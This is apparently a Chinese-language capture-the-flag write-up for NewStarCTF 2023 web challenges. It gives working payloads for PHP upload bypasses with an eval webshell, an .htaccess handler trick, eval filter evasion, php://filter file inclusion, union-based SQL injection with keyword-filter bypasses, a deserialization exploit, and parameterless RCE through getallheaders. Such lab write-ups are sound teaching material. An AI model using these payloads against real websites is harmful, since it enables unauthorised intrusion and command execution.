文章目录
- WEEK1
-
- 泄漏的秘密
- [Begin of Upload](#Begin of Upload)
- [Begin of HTTP](#Begin of HTTP)
- ErrorFlask
- [Begin of PHP](#Begin of PHP)
- R!C!E!
- EasyLogin
- WEEK2
-
- 游戏高手
- [include 0。0](#include 0。0)
- ez_sql
- Unserialize?
- [Upload again!](#Upload again!)
- R!!C!!E!!
WEEK1
泄漏的秘密
打开题目,提示有敏感信息泄露
直接扫一下目录,发现有./www.zip
访问然后下载下来,解压到桌面
源码和robots.txt分别是两部分flag
Begin of Upload
右键看下源码,发现对上传文件后缀名有检测
这里的检测是后缀名只需要出现合法的就行
我们上传1.jpg的一句话木马
然后抓包修改文件名为1.jpg.php
上传成功,然后命令执行得到flag
Begin of HTTP
打开题目,按照要求一步步来
先是GET传参,随便给个值
然后是POST传参,参数值藏在源码处
然后分别是修改cookie为ctfer;修改浏览器为NewStarCTF2023;修改Referer为newstarctf.com
最后一步只能bp抓包修改为127.0.0.1
(这里用XFF不行,我用的是X-Real-IP)
ErrorFlask
打开题目,提示我们传参两个数,然后帮我们计算
我们随便传两个数
告诉我们不是ssti,后面还有计算结果
提示flag在源码
我们修改一下其中一个为字母,让其出现报错
果然出现了/app/app.py
源码,得到flag
Begin of PHP
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['key1']) && isset($_GET['key2'])){
echo "=Level 1=<br>";
if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
$flag1 = True;
}else{
die("nope,this is level 1");
}
}
if($flag1){
echo "=Level 2=<br>";
if(isset($_POST['key3'])){
if(md5($_POST['key3']) === sha1($_POST['key3'])){
$flag2 = True;
}
}else{
die("nope,this is level 2");
}
}
if($flag2){
echo "=Level 3=<br>";
if(isset($_GET['key4'])){
if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
$flag3 = True;
}else{
die("nope,this is level 3");
}
}
}
if($flag3){
echo "=Level 4=<br>";
if(isset($_GET['key5'])){
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
}
}
if($flag4){
echo "=Level 5=<br>";
extract($_POST);
foreach($_POST as $var){
if(preg_match("/[a-zA-Z0-9]/",$var)){
die("nope,this is level 5");
}
}
if($flag5){
echo file_get_contents("/flag");
}else{
die("nope,this is level 5");
}
}
分析一下
- level 1利用弱比较md5值相等
- level 2利用MD5和sha1函数无法处理数组,进行数组绕过
- level 3同样利用数组绕过
- level 4利用php弱类型比较
- level 5则是利用key3数组绕过正则匹配;利用extract()函数的变量覆盖漏洞,传入非空字符即可
得到flag
R!C!E!
源码
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
分析一下,第一个if语句判断条件为上传的password参数的MD5值前六位为c4d038;第二个if语句是PHP变量名解析特性和简单的命令执行过滤
首先利用脚本爆破出该数
import hashlib
prefix = "c4d038" # 目标MD5值的前六位
prefix_bytes = prefix.encode() # 将前缀转换为字节串
for i in range(100000000):
b = i.to_bytes(22, 'big')
m = hashlib.md5(str(i).encode()).hexdigest()
if m.startswith(prefix):
print(i)
print(m)
break
爆出来为114514
然后是利用php的解析特性,[
会被解析成下划线_
;和反引号去绕过对system函数的过滤,反斜杠绕过flag,tac替换cat命令
payload
password=114514&e[v.a.l=echo `tac /fla\g`;
得到flag
EasyLogin
打开题目发现是登录框,尝试注册admin
发现用户已存在
我们随便注册一个用户为hacker,密码为123456
登录并抓包,发现密码是MD5加密的
然后放行,发现中途跳转一个php界面
我们丢到重放器,发现是页面302状态,并且出现了提示
我这里因为版本问题,我保存下来用vscode打开
按照提示,果然没有第七行(成功被骗)
结合前面解题思路,老老实实爆破密码
打开bp,payload处理修改一下
爆出对应的MD5值,丢到在线网站得到密码为000000
然后就是登录进入终端
ctrl+c然后ctrl+d退出执行的程序chat
没什么发现,我们刚刚在登陆抓包已经知道中途会跳转
同样试试
结果成功抓到这个重定向的php页面
得到flag
WEEK2
游戏高手
打开题目,发现是小游戏(题目跟最近打的SHCTF比较像)
查看下js代码
发现获得胜利的条件是分数大于100000
我们在控制台输入下面语句
var gameScore = 10000000;
gameover();
回车然后得到flag
include 0。0
源码
<?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
@include($file);
}else{
die("nope");
}
?>
简单的文件包含,这里过滤了常见的转换过滤器base和rot
我们可以用convert.iconv.UTF-8.UTF-16
payload
?file=php://filter/read=convert.iconv.UTF-8.UTF-16/resource=flag.php
得到flag
ez_sql
进来随便点一个,发现有参数id
我们先fuzz测试一下过滤了什么
抓包,随便用一个字典
发现select被过滤了,那么我们用大小写绕过
首先爆一下字段数
?id=-1' union SelECt 1,2,3,4,5 --+
发现字段数为5
爆库名
?id=-1' union SelECt database(),2,3,4,5 --+
然后经过再次测试,发现information_schema.tables
和where
都被过滤了
这里用mysql.innodb_table_stats
和wHere
代替
(多次尝试,发现回显的位置在5而不是1,开始卡了很久没回显)
爆表名
?id=-1' union SelECt 1,2,3,4,group_concat(table_name) from mysql.innodb_table_stats wHere '1 --+
因为我们用的是mysql.innodb_table_stats
,我们无法查到列名
所以继续用无列名注入
?id=-1' union SelECt 1,2,3,4,group_concat(`1`) from (SelECt 1 union SelECt * from ctf.here_is_flag)a wHere '1 --+
得到flag
Unserialize?
源码
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
@unserialize($_POST['unser']);
?>
由于是private成员变量,所以序列化后长度会加2,多两个空白符
exp
<?php
class evil {
private $cmd;
function __construct($cmd1){
$this->cmd=$cmd1;
}
}
$a=new evil('ls /');
echo serialize($a);
?>
手动添加%00
得到flag
Upload again!
打开题目
先上传最普通的马1.php
,发现被检测了
我们尝试修改下后缀为.jpg
,发现还是不行
在后面尝试修改MIME以及文件头,都不能绕过
猜测是对一句话木马的<?
过滤,那么我们修改为js马
<script language="php">eval($_POST['shell']);</script>
发现可以上传,不过没有被解析成php
那么我们可以用.htaccess
配置文件攻击,让jpg文件被解析成php
首先创建.htaccess文件
,写入
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
上传成功后,上传名为1.jpg
的js马
命令执行一下
得到flag
R!!C!!E!!
打开题目,提示有信息泄露
这里我是dirsearch扫了一下目录(扫了很久)
扫完后翻翻发现有git泄露
直接用工具
先运行工具,然后访问./.git/
源码如下
<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
eval($_GET['star']);
}
}
一眼无参RCE,然后过滤了很多函数
这里我们用的是getallheaders()函数
我们先看看http头部信息
?star=print_r(getallheaders());
然后我们选择添加命令在User-Agent那里
payload
?star=eval(next(getallheaders()));
得到flag